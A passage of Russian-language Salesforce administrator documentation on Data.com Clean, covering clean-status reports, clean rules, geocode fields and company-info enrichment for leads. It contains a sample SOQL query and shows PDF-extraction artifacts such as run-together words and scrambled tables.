Salesforce использует
организации-лица, то столбцы
«Итого» и «Обработано» могут
содержать разные показатели.
Организации-лица учитываются
общимколичествоморганизаций,
но не обрабатываются заданиями
по Data.com Clean.

Количество записей объекта
(организации, контакты или интересы),
доступных в системе Salesforce.

Итого

Количество записей Salesforce каждого
типа (организации, контакты или

Обработано

интересы), обработанных функцией
Data.com Clean.

Количество обработанных записей
Salesforce каждого типа (организации,

Совпало

контакты или интересы), совпавших с
записями Data.com.
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ОпределениеСтолбец

Количество обновленных обработанных записей
Salesforce каждого типа (организации, контакты или
интересы).

Обновлено

ОпределениеСтолбец

Объект, поддерживающийфункцию Data.com Clean:
организации, контакты или интересы.

Записи

Процент обработанных записей Salesforce каждого типа
(организации, контакты или интересы), совпавших с
записями Data.com.

Уровень совпадения (% обработанных)

Процент обновленных обработанных записей Salesforce
каждого типа.

Уровень обновления (% обработанных)

СМ. ТАКЖЕ:

Общие сведения о способах сопоставления записей Salesforce и Data.com

Рекомендации по выбору службы сопоставления организаций
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Составление отчетов по записям Salesforce с конкретным статусом очисткиData.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобыпросмотретьзаписиорганизаций, контактовилиинтересовSalesforce, содержащие
конкретный статус очистки (например, «Отличается»), рекомендуем создать
настраиваемый отчет.

Выберите поля объекта «Организация», «Контакт» или «Интерес» для отображения.
СопоставьтезначениязаписейSalesforceиData.comнаосноведанныхизсоответствующих
объектов «Сведенияобочистке». Результатыотчетапозволяютопределитьдостоверные
причины назначения записям конкретного статуса очистки. Полученные данные могут
использоваться для управления способами очистки записей в организации.

Например, создайте отчет для сопоставления всех записей со статусом очистки
«Отличается» с совпадающимизаписямиData.com. Приопределениизакономерностей
в данных, вызывающих появление данного статуса, создайте триггеры или настройки
API для корректировки данных и увеличения количества записей со статусом
«Синхронизировано».

Чтобысоздатьотчет «Контактыпостатусуочистки», выполнитеуказанныенижедействия.

1. Прежде чем создать отчет «Контактыпо статусу очистки», убедитесь в наличии типа
настраиваемого отчета, связывающего объект «Контакт» с объектом «Сведения об
очистке контакта» и позволяющего составлять отчеты по полям обоих объектов.

2. Создайте отчет: откройте вкладку «Отчеты» и нажмите кнопку «Создать отчет».

3. Выберите тип отчета «Контакты по статусу очистки».

4. Нажмите кнопку «Создать».

5. Выберите нужные поля родительского объекта «Контакт». Например:

• Код контакта

• Статус очистки

• Полное имя

• Почтовый адрес

• Тел.

• Эл. почта

6. Выберитеполясвязанногообъекта «Сведенияобочисткеконтакта», соответствующие
полям объекта «Контакт». Например:

• Код сведений об очистке контакта

• Личное имя

• Фамилия

• Адрес

• Тел.

• Эл. почта

• Дата последнего сравнения

7. Добавьтефильтрполявотчет. Выберитеполе «Статус очистки». Выберитеоператор «равно» изначение «Отличается».

8. Определите оставшиеся поля.
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9. Сохраните и запустите отчет.

10. Просмотритеотчетнаналичиесведений, необходимыхдляопределенияшаблоновданных, инициирующихназначение
некоторым записям статуса очистки «Отличается».

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета по сведениям об очистке организаций, контактов или интересов

Общие сведения об объекте «Сведения об очистке организации»

Общие сведения об объекте «Сведения об очистке контакта»

Общие сведения об объекте «Сведения об очистке интереса»

Настройка правил очистки
Предоставьтевозможностьсвоимгруппамсбытаимаркетингасохранятьуспешныеотношениясклиентамииотслеживать
наиболееперспективныеинтересыивозможностипутем автоматическогодобавленияновейшихданныхворганизации,
контакты и интересы Salesforce. Это можно сделать с помощью правил очистки Data.com.

О правилах очистки
Правилаочисткипозволяютподдерживатьчистоту, полнотуи актуальностьданных. Простонастройтеи активируйте
правила очистки Data.com в организации. После этого нужные сведения — от геокодов для адресов организаций до
сведений о компании для интересов — автоматически будут добавлены в существующие и новые записи Salesforce.
Правила очистки существенно упрощают обеспечение качества данных.

Автоматическое получение геокодов для адресов
Помогите группамсбытаимаркетингаискатьближайшихпотенциальныхклиентов, назначатьтерриторииикампании
и делать многое другое. Все это очень легко с помощью геокодов. Всего в несколько действий можно автоматически
получить геокоды для адресов в организациях, контактах и интересах.

Автоматическое добавление важных сведений о компании в интересы (бета-версия)

Разрешитеторговымпредставителямиспециалистампомаркетингуотслеживаниенаиболееперспективныхинтересов
и их незамедлительное назначение нужным территориям и кампаниям. Если у вашей организации есть лицензия
Data.com Premium Clean, то вылегкоможетедобавить к своиминтересамценныесведенияокомпании, включая годовой
доход, отрасль, номер D-U-N-S и количество сотрудников.

Стандартные правила очистки Data.com

Узнайте ключевые сведения о стандартных правилах очистки, которые пригодятся при автоматическом добавлении
информациивзаписиSalesforce. Просмотритеописаниеработывсехправилочисткииполей, которыеониобновляют.

Рекомендации по определению эффективности правил очистки
Хотите узнать, насколько эффективнофункцияData.com Clean работает для вашей организации? Посетите страницу
«Clean Vitals», на которой показан уровень совпадения для ваших правил очистки. Там показывается процент
обработанных записей, которые Data.com сопоставила с записью в службе данных. При совпадении записи ее можно
обновить актуальными данными.
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О правилах очистки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Правила очистки геокода
доступны в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Другие правила очистки
доступны при наличии
лицензии на продукт
Data.com Premium Clean в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Правила очистки позволяют поддерживать чистоту, полноту и актуальность данных.
Просто настройте и активируйте правила очисткиData.com в организации. После этого
нужные сведения — от геокодов для адресов организаций до сведений о компании для
интересов — автоматическибудут добавленыв существующие иновые записи Salesforce.
Правила очистки существенно упрощают обеспечение качества данных.

Правила очистки — это функция Data.com Clean, однако лицензия Data.com требуется
не для всех правил очистки. Например, правила очистки геокодов доступны для всех.
Правила очистки не зависят от других функций очистки, хотя они могут обновлять те
же записи, что и другие функции очистки, такие как задания очистки.

Рассмотрим алгоритм работы данных правил очистки.

Все просто! Правила очистки определяют способ очистки записей Salesforce.

Сначала очищаемая запись сравнивается с совпадающей записью из службы данных.
Затемзаписьобновляется значениямииз соответствующейзаписи. Вродебывсепросто,
но, как определить поля, подлежащие обновлению, и службу данных, подлежащую
использованию? И, как гарантировать невыполнение триггеров или бизнес-правил во
время очистки? Именно здесь на помощь приходят правила очистки.

Правилоочисткииспользуетсяприкаждойочисткезаписидляопределениякомпонентов
ниже.

• Службаданныхдляочистки, котораясодержитисточник, используемыйдлясравнения
записей, и процессы, позволяющие определять соответствие собственных записей
записям из службы данных.

• Очищаемый объект.

• Поля, используемые для сравнения собственных записей с записями из службы данных.

• Поля, обновляемые при обнаружении совпадения.

• Способ обновления полей при очистке записей (например, значения полей Salesforce перезаписываются данными
из службы данных).

• Необходимость выполнения триггеров и бизнес-правил при очистке записей.

Выполнение правила начинается сразу после его активации. Новые и обновленные записи очищаются автоматически
при сохранении. При необходимости пользователи могут вручную очищать отдельные записи и настраивать правила
для очистки всех текущих записей.

Пример: Организация использует приложение, которое назначает интересы территориям на основе широты и
долготыиз адресов интересов. Но, существует одна проблема! Адреса интересов в системе Salesforce не используют
обновленные значения широты и долготы. Не беспокойтесь! Просто настройте и активируйте правило очистки
«Геокоды для адреса интереса». После этого сведения о геокоде будут автоматически добавляться во все
существующие и новые интересы. Ниже приведен краткий обзор данного правила.

ЗначениеАтрибут

Геокоды для адреса интересаИмя

Геоданные Data.comСлужба данных

ИнтересОбъект
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ЗначениеАтрибут

Поля широты, долготы и точности, связанные с полем
«Адрес»:

Очищаемые поля

• Latitude

• Longitude

• GeocodeAccuracy

Прим.: Эти поля нельзя добавить в макет
страницы. Однако их можно просмотреть с
помощью настраиваемых полей формулы или
посредством запроса API Salesforce.

ПерезаписьСпособ обновления полей

ДаОчистить все записи при активации или сохранении
правила

ДаПропустить триггеры?

ДаПропустить бизнес-правила?

ДаНе обновлять сведения о дате последнего изменения

СМ. ТАКЖЕ:

Настройка правил очистки

Стандартные правила очистки Data.com

Автоматическое получение геокодов для адресов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Помогите группам сбыта и маркетинга искать ближайших потенциальных клиентов,
назначатьтерриторииикампаниииделатьмногоедругое. Всеэтооченьлегкоспомощью
геокодов. Всего в несколько действий можно автоматически получить геокоды для
адресов в организациях, контактах и интересах.

Важное замечание: Геокоды добавляются в записи посредством Data.com. Тем не
менее, данная функция может использоваться без лицензии Data.com.

Замечания по настройке правил очистки геокодов
Прежде чем добавлять сведения о геокодах в организации, контакты и интересы
Salesforce посредством правил очистки геокодов Data.com, просмотрите
перечисленные ниже замечания.

Настройка правил очистки геокодов
Настройка и активация правил Data.com очистки геокодов осуществляется в несколько этапов. Затем геокоды
автоматически добавляются в существующие организации, контакты и интересы. Эти сведения добавляются в новые
организации, контакты и интересы при их сохранении.
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Рекомендации по настройке правил очистки геокодов
Выполнитенекоторые важныерекомендациипри автоматическомдобавлении сведенийо геокоде в записи Salesforce
посредством Data.com.

Проверка статуса очистки правил очистки геокодов
Правилаочистки геокодовData.com автоматическидобавляют геокодык адресаморганизаций, контактовиинтересов.
Можно проверить, была ли обработана конкретная запись с помощьюправила очистки геокода, и узнать статус этой
обработки. Чтобыпротестироватьработуправилаочистки, очистите запись вручнуюспомощьюнего. Напоминание.
Прииспользованииправилочисткизаписиочищаютсяавтоматически, поэтомуочистка записивручнуюнетребуется.

Проверка добавления геокодов в записи
Поскольку поля геокодов обычно не отображаются в записях, необходимо выполнить ряд действий, позволяющих
проверить добавление геокодов в записи Salesforce посредством правил очистки геокодов Data.com.

Поля геокода
Сведенияо геокодеопределяютрасположениенаосновешироты, долготыикласса точности. Поля геокода доступны
для стандартных адресов организаций, контактов и интересов Salesforce. Поля геокода не отображаются в записях, но
могут быть просмотрены посредством интерфейса Salesforce API.

Замечания по настройке правил очистки геокодов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Преждечемдобавлять сведенияо геокодах ворганизации, контактыиинтересы Salesforce
посредством правил очистки геокодов Data.com, просмотрите перечисленные ниже
замечания.

Важное замечание: Геокоды добавляются в записи посредством Data.com. Тем не
менее, данная функция может использоваться без лицензии Data.com.

• Когда сведения о геокодах добавляются в записи:

– Существующие значения в полях сведений о геокодах перезаписываются.

– Поле SystemModStamp обновляется всегда. Убедитесь, что не затрагивается
ни одна интеграция, в которой используется это поле.

– Поля LastModifiedDate и LastModifiedById не обновляются. Данный
параметр выбран по умолчанию. Его можно изменить при настройке правил очистки геокодов.

• Сведенияо геокодене отображаются записями. Темнеменее, онимогут бытьпросмотреныпосредствоминтерфейса
Salesforce API. Также можно создавать настраиваемые поля с помощьюформул для отображения полей сведений о
геокодах для записей.

• Cведения о статусе, связанные с правилами очистки, нельзя копировать в безопасную среду или из нее. Допустим,
например, в производственной организации вы активируете правило очистки «Геокоды для адреса интереса», и
сведения о геокоде успешно добавляются во все существующие интересы. В результате статус правила очистки
«Геокоды для адреса интереса» для каждогоинтересаимеет значение «Синхронизировано». Этот статус для записей
нельзя скопировать в безопасную среду. Чтобыполучить сведения о статусе в безопасной среде, нужно активировать
правила очистки и обработать записи в безопасной среде.

СМ. ТАКЖЕ:

Настройка правил очистки геокодов
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Настройка правил очистки геокодов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

� Для настройкии активации
правил очистки:
• «Настройка

приложения»

Настройка и активация правил Data.com очистки геокодов осуществляется в несколько
этапов. Затем геокоды автоматически добавляются в существующие организации,
контакты и интересы. Эти сведения добавляются в новые организации, контакты и
интересы при их сохранении.

Важное замечание: Геокоды добавляются в записи посредством Data.com. Тем не
менее, данная функция может использоваться без лицензии Data.com.

Просмотреть обзор: Настройка правил очистки геокодов

1. Введите строку «Правила очистки» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Правила очистки».

2. Отредактируйтеправилоочисткигеокодов. Пользователямдоступночетыреправила
очистки геокода.

3. Проверьте настройки правила очистки.

4. Сохраните правило.

5. Активируйте правило.
Если установлен флажок «Очистить все записи при активации или сохранении данного правила», геокоды
автоматически добавляются во все существующие записи. Геокоды добавляются в новые записи автоматически при
их сохранении. Существующие значения геокодов заменяются.

6. Повторите данный процесс для других правил очистки геокода.

7. В Salesforce Classic, чтобы иметь возможность проверять статус очистки правила очистки, добавьте связанный список
«Очистить данную запись посредством Data.com» в макет страницы для организаций, контактов и интересов.
(В Lightning Experience это делать необязательно.)
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СМ. ТАКЖЕ:

Замечания по настройке правил очистки геокодов

Проверка статуса очистки правил очистки геокодов

Проверка добавления геокодов в записи

Поля геокода

Рекомендации по настройке правил очистки геокодов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Выполнитенекоторыеважныерекомендацииприавтоматическомдобавлениисведений
о геокоде в записи Salesforce посредством Data.com.

Важное замечание: Геокоды добавляются в записи посредством Data.com. Тем не
менее, данная функция может использоваться без лицензии Data.com.

• Добавление сведений о геокоде в запись посредством правил очистки геокода
Data.com не инициирует обновление сведений о последнем изменении записи.
Данный алгоритм позволяет исключить влияние на автоматизированные процессы
организации. Чтобы обновить сведения о последнем изменении, снимите флажок
«Не обновлять сведения о последнем изменении» для нужного правила очистки
геокода.

СМ. ТАКЖЕ:

Настройка правил очистки геокодов
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Проверка статуса очистки правил очистки геокодов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для очистки организаций с
помощью правила очистки
геокодов:
• «Редактирование» для

организаций

Для очистки контактов с
помощью правила очистки
геокодов:
• «Редактирование» для

контактов

Для очистки интересов с
помощью правила очистки
геокодов:
• «Редактирование» для

интересов

Правила очистки геокодов Data.com автоматически добавляют геокоды к адресам
организаций, контактовиинтересов. Можнопроверить, былалиобработана конкретная
запись с помощью правила очистки геокода, и узнать статус этой обработки. Чтобы
протестировать работу правила очистки, очистите запись вручную с помощью него.
Напоминание. Прииспользованииправил очистки записи очищаются автоматически,
поэтому очистка записи вручную не требуется.

Важное замечание: Геокоды добавляются в записи посредством Data.com. Тем не
менее, данная функция может использоваться без лицензии Data.com.

1. Откройте проверяемую запись.

2. Проверьте статус очистки для правила очистки геокодов записи. Например, при
проверкеинтересанужнопроверить статусочисткиправилаочистки «Геокоды для
адреса интереса». В Salesforce Classic этот статус находится в разделе «Очистить
даннуюзаписьпосредствомData.com». (Еслинайтираздел «Очиститьданнуюзапись»
не удается, попросите администратора Salesforceдобавить его в своймакет страницы.)
В Lightning Experienceщелкните быстрое действие «Проверка статуса очистки» для
просмотра статусов правила очистки.

3. Чтобы очистить запись вручную, щелкните «Очистить» для правила очистки
геокодов.

Если запись соответствует записи в службе данных геокода, то значения для полей сведений о геокоде добавляются,
а любыетекущие значенияперезаписываются. Кроме того, обновляетсяполе «Статус очистки» дляправилаочистки.

Прим.: Приизмененииадресанастраницезаписиполе «Статус очистки» правилаочисткиотображаетзначение
«Не сравнивалось» до повторной очистки записи. К счастью, правила очистки геокода позволяют выполнять
повторную автоматическую очистку записи практически мгновенно!

4. Убедитесь в добавлении геокодов в запись.

СМ. ТАКЖЕ:

Поля геокода
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Проверка добавления геокодов в записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
интерфейса Salesforce API:
• «API включен»

Поскольку поля геокодов обычно не отображаются в записях, необходимо выполнить
ряд действий, позволяющих проверить добавление геокодов в записи Salesforce
посредством правил очистки геокодов Data.com.

Важное замечание: Геокоды добавляются в записи посредством Data.com. Тем не
менее, данная функция может использоваться без лицензии Data.com.

Совет: Добавить поля геокода на макет страницы можно с помощью полей
настраиваемойформулы.

1. Просмотрите статус очистки правила геокода.

a. Откройте запись.

b. Просмотрите статус очистки правила геокода, указанный в разделе «Очистить
данную запись».

Статусочистки «Синхронизировано» указывает, что запись содержитобновленныесведенияо геокодеиз службы
данных. Если отображается другой статус, запись можно очистить вручную с помощью кнопки «Очистить».

2. Убедитесь, что поля геокода содержат значения посредством интерфейса Salesforce API.

a. Извлеките значение поля Id для записи.

b. Запросите адресные поля и поля геокода посредством поля Id. (При необходимости запросите все записи или
первые X записей для объекта.)
Пример: запрос SOQL для контактов

SELECT Name, Email, MailingAddress, MailingCity, MailingState, MailingCountry,
MailingLatitude, MailingLongitude, MailingGeocodeAccuracy
FROM Contact
WHERE Id IN (’003D000000QRoqW’, ‘003R0000001ySoG’, ‘003D000000QRoqU’);
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c. Убедитесь в наличии значений для полей сведений о геокоде.

СМ. ТАКЖЕ:

Настройка правил очистки геокодов

Поля геокода

Поля геокода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Сведения о геокоде определяют расположение на основе широты, долготы и класса
точности. Поля геокода доступны для стандартных адресов организаций, контактов и
интересовSalesforce. Полягеокоданеотображаютсявзаписях, номогутбытьпросмотрены
посредством интерфейса Salesforce API.

Поля геокодаСтандартный адресОбъект

Адрес для счетаОрганизация • BillingLatitude

• BillingLongitude

• BillingGeocodeAccuracy

Адрес отправкиОрганизация • ShippingLatitude

• ShippingLongitude

• ShippingGeocodeAccuracy

Почтовый адресКонтакт • MailingLatitude

• MailingLongitude

• MailingGeocodeAccuracy

АдресИнтерес • Latitude

• Longitude

• GeocodeAccuracy

Значения точности

Точностьпозволяет конкретизироватьрасположениеширотыидолготы. Например, значение «Индекс» подразумевает,
что широта и долгота определяют точку в центре зоны почтового индекса для адреса. В данном случае совпадение не
может быть найдено по улице.

ОписаниеЗначение точности

В том же зданииАдрес

ПоблизостиNearAddress

Нейтральная точка домаДом

Нейтральная точка улицыУлица
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ОписаниеЗначение точности

Центр зоны расширенного почтового индексаExtendedZip

Центр зоны почтового индексаИндекс

Центр кварталаКвартал

Центр городаГород

Центр районаРайон

Центр областиОбласть

Совпадение не найденоНеизвестно

СМ. ТАКЖЕ:

Настройка правил очистки геокодов

Автоматическое добавление важных сведений о компании в интересы (бета-версия)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии на продукт
Data.com Premium Clean в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Разрешите торговым представителям и специалистам по маркетингу отслеживание
наиболее перспективных интересов и их незамедлительное назначение нужным
территориям и кампаниям. Если у вашей организации есть лицензия Data.com Premium
Clean, то вы легко можете добавить к своим интересам ценные сведения о компании,
включая годовой доход, отрасль, номер D-U-N-S и количество сотрудников.

Прим.: Внастоящеевремядоступнатолькооткрытаябета-версияданнойфункции.
Наряду с другими пресс-релизами и официальными сообщениями, данный
документ ссылается на некоторые функции и компоненты, которые в настоящее
время недоступны для использования, поэтому компания Salesforce не может
гарантироватьих доставку, в томчисле своевременную. Рекомендуемприобретать
только доступные функции и компоненты. Во время бета-тестирования служба
поддержки Salesforce предоставляет ограниченную поддержку данной функции.
Отправить отзыв или обратиться за помощью можно в Группе расширения
информации об интересующихся клиентах в сообществе успеха Salesforce.

Замечания по настройке правила очистки Сведения о компании для интересов
Прежде чем выполнить автоматическое добавление сведений о компании в интересы Salesforce посредством правил
очистки Data.com, просмотрите перечисленные ниже рекомендации.

Настройка правила очистки «Сведения о компании для интересующихся клиентов»

С помощью правила очистки Data.com «Сведения о компании для интересов» можно добавить ценные сведения
о компании (например, номер D-U-N-S и количество сотрудников) во все текущие интересы Salesforce. Сведения о
компании автоматически добавляются в новые и обновленные интересы при их сохранении.

Рекомендации по настройке правила очистки Сведения о компании для интересов
Следуйте ряду важных рекомендаций при использовании правил очистки Data.com для автоматического
информационного наполнения интересов Salesforce.

1931

Настройка функции Data.com CleanНастройка и обслуживание инструментов продаж

https://success.salesforce.com/_ui/core/chatter/groups/GroupProfilePage?g=0F930000000fxdf
https://success.salesforce.com/_ui/core/chatter/groups/GroupProfilePage?g=0F930000000fxdf


Проверка статуса очистки правила очистки «Сведения о компании для интересов»

Правилоочистки «Сведения о компании для интересов» позволяетдобавитькинтересамSalesforce важныесведения
о компании, такие как годовой доход, номер D-U-N-S и количество сотрудников. Можнопроверить, был лиобработан
конкретный интерес с помощью этого правила очистки, и узнать статус этой обработки. Чтобы протестировать
работу правила очистки, очистите запись вручную с помощью него. Напоминание. При использовании правил
очистки записи очищаются автоматически, поэтому очистка записи вручную не требуется.

Замечания по настройке правила очистки Сведения о компании для интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии на продукт
Data.com Premium Clean в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Прежде чем выполнить автоматическое добавление сведений о компании в интересы
Salesforce посредством правил очистки Data.com, просмотрите перечисленные ниже
рекомендации.

• Сведения о компании добавляются только в пустые поля; текущие значения не
перезаписываются.

• Если у интересующегося клиента есть значение в поле «Город» или «Почтовый
индекс», то к интересующемуся клиенту добавляются сведения о компании по
локальному головному офису. Если поле «Страна» не имеет значения или в стране
нет локального головного офиса, в интересующийся клиент добавляются сведения
о международном головном офисе.

• Добавление сведений о компании в интересы посредством правила очистки
«Сведения о компании для интересующихся клиентов» не влияет на текущие
выполняемые задания по очистке Data.com.

• Перед активацией правила очистки «Сведения о компании для интересующихся клиентов» проверьте настройки
всплывающих уведомлений. Если вы добавляете сведения о компании для интересующихся клиентов с помощью
этого правила очистки, могут быть запущены всплывающие уведомления.

СМ. ТАКЖЕ:

Настройка правила очистки «Сведения о компании для интересующихся клиентов»
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Настройка правила очистки «Сведения о компании для интересующихся клиентов»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии на продукт
Data.com Premium Clean в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

� Для настройкии активации
правил очистки:
• «Настройка

приложения»

Для редактированиямакетов
страниц:
• «Настройка

приложения»

СпомощьюправилаочисткиData.com «Сведения о компании для интересов» можно
добавить ценные сведения о компании (например, номер D-U-N-S и количество
сотрудников) во все текущие интересы Salesforce. Сведения о компании автоматически
добавляются в новые и обновленные интересы при их сохранении.

Прим.: Внастоящеевремядоступнатолькооткрытаябета-версияданнойфункции.
Наряду с другими пресс-релизами и официальными сообщениями, данный
документ ссылается на некоторые функции и компоненты, которые в настоящее
время недоступны для использования, поэтому компания Salesforce не может
гарантироватьих доставку, в томчисле своевременную. Рекомендуемприобретать
только доступные функции и компоненты. Во время бета-тестирования служба
поддержки Salesforce предоставляет ограниченную поддержку данной функции.
Отправить отзыв или обратиться за помощью можно в Группе расширения
информации об интересующихся клиентах в сообществе успеха Salesforce.

1. Введите строку «Правила очистки» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Правила очистки».

2. Отредактируйте правило очистки «Сведения о компании для интересующихся
клиентов».

3. Проверьте параметры правила очистки. Чтобы добавить сведения о компании во
все текущие интересы, установите флажок «Очистить все записи при активации
или сохранении данного правила».

4. Сохраните правило.

5. Активируйте правило.
Если установленфлажок «Очистить все записи при активации или сохранении
данного правила», сведенияо компаниидобавляются во все текущиеинтересы. Сведенияо компании автоматически
добавляются вновыеинтересыприихсохранении. Имеющиесяданныенеперезаписываются. Значениявставляются
только в пустые поля.

6. В Salesforce Classic, чтобыиметь возможность проверять статус очисткиправила очистки «Сведения о компании для
интересующихся клиентов», добавьте связанный список «Очистить данную запись посредством Data.com» в
макет страницы для интересующихся клиентов. (В Lightning Experience это делать необязательно.)
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СМ. ТАКЖЕ:

Замечания по настройке правила очистки Сведения о компании для интересов

Настройка правил очистки

Проверка статуса очистки правила очистки «Сведения о компании для интересов»

Рекомендации по настройке правила очистки Сведения о компании для интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии на продукт
Data.com Premium Clean в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Следуйте ряду важных рекомендаций при использовании правил очистки Data.com для
автоматического информационного наполнения интересов Salesforce.

Прим.: Внастоящеевремядоступнатолькооткрытаябета-версияданнойфункции.
Наряду с другими пресс-релизами и официальными сообщениями, данный
документ ссылается на некоторые функции и компоненты, которые в настоящее
время недоступны для использования, поэтому компания Salesforce не может
гарантироватьих доставку, в томчисле своевременную. Рекомендуемприобретать
только доступные функции и компоненты. Во время бета-тестирования служба
поддержки Salesforce предоставляет ограниченную поддержку данной функции.
Отправить отзыв или обратиться за помощью можно в Группе расширения
информации об интересующихся клиентах в сообществе успеха Salesforce.

• Если нужно разрешить пользователям добавлять сведения о компании к интересам
вручную с помощью правил очистки, необходимо задать параметры безопасности
поля для полей «Номер D-U-N-S компании» и «Компания D&B», чтобы пользователи могли их обновлять.

• При обновлении значения поля «Номер D-U-N-S компании» обязательно удалите значения полей «Компания
D&B» и «Количество сотрудников». В таком случае добавление сведений о компании в данную запись инициирует
заполнениеданныхполейобновленнымизначениямиисвязываниесобственногоинтереса справильнойкомпанией
D&B.

• При обновлении значения поля «Эл. почта» обязательно удалите значения полей «Годовой доход» и «Номер
D-U-N-S компании», «Компания D&B», «Отрасль» и «Количество сотрудников». Затемпридобавлениисведений
о компании в эту запись будут добавлены обновленные значения этих полей.

СМ. ТАКЖЕ:

Настройка правила очистки «Сведения о компании для интересующихся клиентов»
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Проверка статуса очистки правила очистки «Сведения о компании для интересов»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно при наличии
лицензии на продукт
Data.com Premium Clean в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для очистки интересов:
• «Редактирование» для

интересов

Правило очистки «Сведения о компании для интересов» позволяет добавить к
интересамSalesforce важныесведенияокомпании, такиекак годовойдоход, номер D-U-N-S
и количество сотрудников. Можно проверить, был ли обработан конкретный интерес
спомощьюэтогоправилаочистки, иузнатьстатусэтойобработки. Чтобыпротестировать
работуправилаочистки, очистите запись вручнуюспомощьюнего. Напоминание. При
использовании правил очистки записи очищаются автоматически, поэтому очистка
записи вручную не требуется.

1. Откройте проверяемый интерес.

2. Проверьтестатусочисткиправилаочистки «Сведения о компании для интересов».
В Salesforce Classic этот статус находится в разделе «Очистить данную запись
посредством Data.com». (Если найти раздел «Очистить данную запись» не удается,
попросите администратора Salesforceдобавить его в своймакет страницы.) В Lightning
Experienceщелкните быстрое действие «Проверка статуса очистки» дляпросмотра
статусов правила очистки.

3. Чтобы очистить интерес вручную, выберите «Очистить» для правила очистки
«Сведения о компании для интересов».

Еслиинтерессоответствуетзаписивслужбеданных, топустыеполя «Годовой доход», «Номер D-U-N-S», «Компания
D&B», «Отрасль» и «Количество сотрудников» заполняются значениями. Текущие значенияне перезаписываются.
Кроме того, обновляется поле «Статус очистки» для правила очистки.

Прим.: При изменении поля «Адрес», «Номер D-U-N-S», «Компания» или «Эл. почта» поле «Статус
очистки» правила очистки Data.com «Сведения о компании для интересов» имеет значение «Не
сравнивалось» до повторной очистки записи. К счастью, правила очистки позволяют выполнять повторную
автоматическую очистку интереса сразу после его сохранения.
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Стандартные правила очистки Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Правила очистки геокода
доступны в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Другие правила очистки
доступны при наличии
лицензии на продукт
Data.com Premium Clean в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Узнайте ключевые сведения о стандартных правилах очистки, которые пригодятся при
автоматическом добавлении информации в записи Salesforce. Просмотрите описание
работы всех правил очистки и полей, которые они обновляют.

Обновляемые
поля

Совпадающие
поля

Способ
обновления
полей

ОбъектСлужба
данных

Имя по
умолчанию

Адрес для
счета

ПерезаписьОрганизацияГеокод
Data.com

Правило
очистки
геокода
организации
для адреса
выставления
счета

• BillingLatitude

• BillingLongitude

• BillingGeocodeAccuracy

Широта,
долгота и
точность не
отображаются
в записях.

Адрес
отправки

ПерезаписьОрганизацияГеокод
Data.com

Правило
очистки
геокода

• ShippingLatitude

• ShippingLongitude

• ShippingGeocodeAccuracyорганизации
для адреса
отправки

Широта,
долгота и
точность не
отображаются
в записях.

Почтовый
адрес

ПерезаписьКонтактГеокод
Data.com

Правило
очистки
геокода

• MailingLatitude

• MailingLongitude

• MailingGeocodeAccuracyорганизации
для Широта,

долгота ипочтового
адреса точность не

отображаются
в записях.

АдресПерезаписьИнтересГеокод
Data.com

Правило
очистки
геокода

• Latitude

• Longitude

• GeocodeAccuracyинтересадля
адреса Широта,

долгота и
точность не
отображаются
в записях.
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Обновляемые
поля

Совпадающие
поля

Способ
обновления
полей

ОбъектСлужба данныхИмя по
